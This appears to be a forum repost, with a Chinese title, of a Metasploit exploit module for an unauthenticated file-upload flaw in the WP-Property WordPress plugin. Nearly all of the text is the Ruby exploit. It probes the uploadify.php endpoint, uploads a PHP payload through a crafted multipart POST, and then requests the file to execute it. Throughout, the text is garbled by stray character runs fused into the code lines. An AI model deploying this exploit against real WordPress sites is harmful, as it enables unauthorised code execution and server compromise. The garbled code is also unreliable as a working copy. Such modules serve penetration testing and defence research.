WordPress WP-Property PHP 文件上传漏洞
+ K. e6 ^" K* q$ {! Q! m$ V# | A( ?$ R, r& p {
## # This file is part of the Metasploit Framework and may be subject to
T2 T7 C* ]( N" o* t+ i5 X. R1 a4 P4 n @5 W; i5 N
# redistribution and commercial restrictions. Please see the Metasploit
+ B z7 l& Q) w N0 b: i
1 n' Q7 u' Y8 A# Framework web site for more information on licensing and terms of use.3 d3 p$ u, E7 m4 f: Q% Y
* e; e. N& w. g4 J4 A' V
# http://metasploit.com/framework/ ##
' a9 c. ]/ F' y/ ~. v/ `4 v& k
# @7 X% R& G( ]) G 7 e: U5 j F# l
1 S+ ~5 b! R y* @2 r @
6 ?; ]( } J4 b0 P0 w
. v& I+ p/ q) J6 X! O
require 'msf/core'
# n: \$ u# m3 W8 C; trequire 'msf/core/exploit/php_exe'
& ~' U9 o" f" a9 `
6 u( Z6 O* D) ]1 _' g6 vclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
: x3 A* Q) u6 P, q) j3 m/ E; C! z'Description' => %q{8 V& i& _( x' @* F" c6 Q
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
( J: t% F% E! D F[1 {! C3 s; P9 s- a5 V
'Sammy FORGIT', # initial discovery1 k0 a5 ~( U& I# w) i
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
6 P: c1 A. z5 r; l8 C/ k& J],
6 g- k( f3 S/ M7 o$ j'License' => MSF_LICENSE,
3 W B& S! x7 I% \1 |$ s8 W5 L. m'References' =>$ _( n7 F+ m. i. e$ \4 u
[$ E1 A+ S. A- O p! L U+ C6 w
[ 'OSVDB', '82656' ],. S" ?, F G9 [2 E5 f1 c
[ 'BID', '53787' ],
4 J* c: d S3 K6 h5 J2 }[ 'EDB', '18987'],
$ j" P# {0 p. s- T[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
- s+ y6 b n4 @+ N% [: q],% q3 c- D* o6 ~3 \* @, e: R
'Payload' =>
5 S* ?4 H' y+ B0 I: T{
4 l6 D' [9 y+ A' `8 _! P'BadChars' => "\x00",
* C" F# X3 \3 k1 b- R u},# i. V2 d# v- V% ]
'Platform' => 'php',
/ a) K0 [; {& @! B7 X& A1 G5 w'Arch' => ARCH_PHP,
% X4 G, N6 }; l7 d'Targets' =>
/ G* V5 ^' K0 U5 u[0 f) I1 h8 }. f3 U8 @" o
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
+ F; U, I; _: t4 f[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
% _- R9 f( D5 z5 v],3 E7 Y: q4 e$ d
'DefaultTarget' => 0,/ c. ^! u% D/ X. {1 o
'DisclosureDate' => 'Mar 26 2012'))) F. P/ H: n0 i6 m
& I1 W O2 [0 U2 }
register_options(
: o8 I" E5 t% m5 j) s[ d, K& t% s4 w& V- U j- j
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
7 K2 B" l8 _; x" n], self.class)
! u6 |% q/ Q& U0 kend
" T2 Q# B b- ~/ L* ]4 v3 p! I L
I" S7 O6 y9 Idef check
3 R* ^8 t% f/ {8 V5 S+ K. D8 |uri = target_uri.path
/ N0 }! a+ b0 R1 p/ t5 S6 ?" f; ]3 wuri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
' ^. P! y+ M! X6 [" G'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php") W/ e6 W/ M% `8 C5 ]
})! c( g# U7 {8 i6 [. X9 L
+ ?6 A. a7 w' h
if not res or res.code != 200; m" J# _5 ?! ^; M( M+ \
return Exploit::CheckCode::Unknown! ^! b' M9 n- ^" d8 {
end* N/ R C: y" Y7 ?% F5 C- t
0 u& [2 x3 w. b1 Y! u! B$ \6 E
return Exploit::CheckCode::Appears. {5 i* m. ~! K
end7 r) @0 t* ]5 F+ ?( Q/ x) m, D
" N1 `" {' {* @* |! k
def exploit
1 w8 g. V, q, D2 `% duri = target_uri.path7 B8 ?7 j# R* z& Q# D0 Y+ y) a
uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
8 W Q# ~+ c7 E2 l4 m; Q/ E7 Z) D7 i C# ^+ b. h1 j2 R
data = Rex::MIME::Message.new1 p+ p: e+ M! i! k& l
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
* ?7 A _. L7 n1 V) Gdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
# p" e. i( Z' v% Z1 [post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')! \% O1 G% g. ?# W4 c @
# S @: ^" w: f2 C4 d5 K
print_status("#{peer} - Uploading payload #{@payload_name}")- c, E5 q8 z+ k+ G" N4 S: w
res = send_request_cgi({
; c R0 }, V* d0 ]5 f6 E$ L9 U'method' => 'POST'," S: m9 l* |0 J+ |
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",) q, k1 _& \0 t6 q) Y+ \
'ctype' => "multipart/form-data; boundary=#{data.bound}",- {9 }$ f3 q- c. M3 u$ q! s2 W
'data' => post_data
4 s- d$ Z) y- y- ]}), X w6 f& `: S
2 G3 @7 m, J* L$ D, Uif not res or res.code != 200 or res.body !~ /#{@payload_name}/
) u1 t, r' T1 B$ I! W" A" Efail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")2 O7 T, g& u* S s
end
3 s" w9 s9 c% L9 i, u
8 t# u0 x t! Y/ tupload_uri = res.body
0 H; f+ ^! b8 h8 ]; A# `' s# a Z! [1 \2 h2 J3 D% [& ~$ \; b
print_status("#{peer} - Executing payload #{@payload_name}")! v3 k9 ~$ z* R0 g5 u' h
res = send_request_raw({
/ A$ a; M( y2 K& o# L }7 Z t'uri' => upload_uri, ]4 a* u& {: O8 r/ c6 R
'method' => 'GET'; K, A$ e# N3 I: f9 x$ C
})% X. w3 B i, r D' Y1 h
end8 k1 O# P0 o- s3 ]7 V
end
+ x& E5 ?9 x! Z5 h) u
7 C. g/ o6 D) u) c. I$ U9 t' I不要问我这写的是什么 怎么利用 我是说msf.
1 f5 G; ?, x$ W% T
! j/ W3 N8 P1 W9 b |